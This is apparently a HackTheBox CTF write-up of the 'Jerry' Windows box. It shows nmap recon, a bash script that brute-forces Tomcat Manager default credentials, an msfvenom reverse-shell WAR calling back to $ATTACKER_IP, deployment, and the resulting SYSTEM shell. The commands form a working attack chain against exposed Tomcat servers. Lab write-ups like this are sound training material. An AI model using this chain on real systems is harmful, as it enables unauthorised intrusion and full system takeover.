Skip to content
HackIndex.io

Jerry Writeup - HackTheBox

Easy Windows
HackTheBox Discuss on Discord
Mohammad Meraj

Independent Security Researcher

Jerry is a Windows box running Apache Tomcat 7.0.88 on a single exposed port. Default credentials on the Manager app give WAR deploy access, and since Tomcat runs as SYSTEM, deploying a malicious WAR lands a SYSTEM shell with no privilege escalation step required.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -p8080 $TARGET_IP 
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88

Single port. Apache Tomcat 7.0.88. Browsing to /manager/html returns a Basic Auth prompt.

Default Credential Brute Force

The Tomcat Manager is reachable without IP restriction. Test against the known default-credential list from https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown using a small script that base64-encodes each pair and checks the HTTP response code:

#!/bin/bash
while IFS= read -r cred; do
    [ -z "$cred" ] && continue
    encoded=$(echo -n "$cred" | base64)
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Authorization: Basic $encoded" \
        http://$TARGET_IP:8080/manager/html)
    echo "$cred -> $response"
    [ "$response" -eq 200 ] && echo "[+] SUCCESS: $cred" && break
done < creds
┌──(kali㉿kali)-[~]
└─$ ./exp 
admin:password -> 401
admin:admin -> 403
tomcat:tomcat -> 401
tomcat:s3cret -> 200
[+] SUCCESS: tomcat:$TOMCAT_PASSWORD

200 OK on tomcat:$TOMCAT_PASSWORD. The Manager app is fully accessible including the WAR file deploy feature.

Exploitation

Malicious WAR payload

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f war > rev_shell.war
┌──(kali㉿kali)-[~]
└─$ jar -ft rev_shell.war 
META-INF/
META-INF/MANIFEST.MF
WEB-INF/
WEB-INF/web.xml
lwmffhnk.jsp

The WAR bundles a randomly-named JSP that triggers the reverse shell payload when requested. Note the JSP filename from jar -ft output as it changes each build.

Deploy and trigger

Upload rev_shell.war through the Manager's WAR deploy field. Tomcat auto-deploys it under /rev_shell. Start a listener, then request the JSP to execute the payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8080/rev_shell/lwmffhnk.jsp 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49192
Microsoft Windows [Version 6.3.9600]

C:\apache-tomcat-7.0.88> whoami
nt authority\system

SYSTEM directly through the initial foothold. Tomcat was running as NT AUTHORITY\SYSTEM, so no privilege escalation was needed.

Related

Tomcat HTTP Enumeration
Blog

Tomcat HTTP Enumeration

Enumerate Apache Tomcat & AJP services; identify versions, exposed management interfaces, default cr...
Tomcat Manager Exposed
Blog

Tomcat Manager Exposed

Identify exposed Tomcat Manager interfaces, enumerate credentials via default/brute-force attacks, a...
Tomcat Manager WAR Deployment
Blog

Tomcat Manager WAR Deployment

Deploy malicious WAR files via Tomcat Manager to gain remote code execution, exploiting weak credent...
Windows Initial Exploitation
Blog

Windows Initial Exploitation

Covers techniques for gaining initial footholds on Windows systems, including exploit execution, pay...

References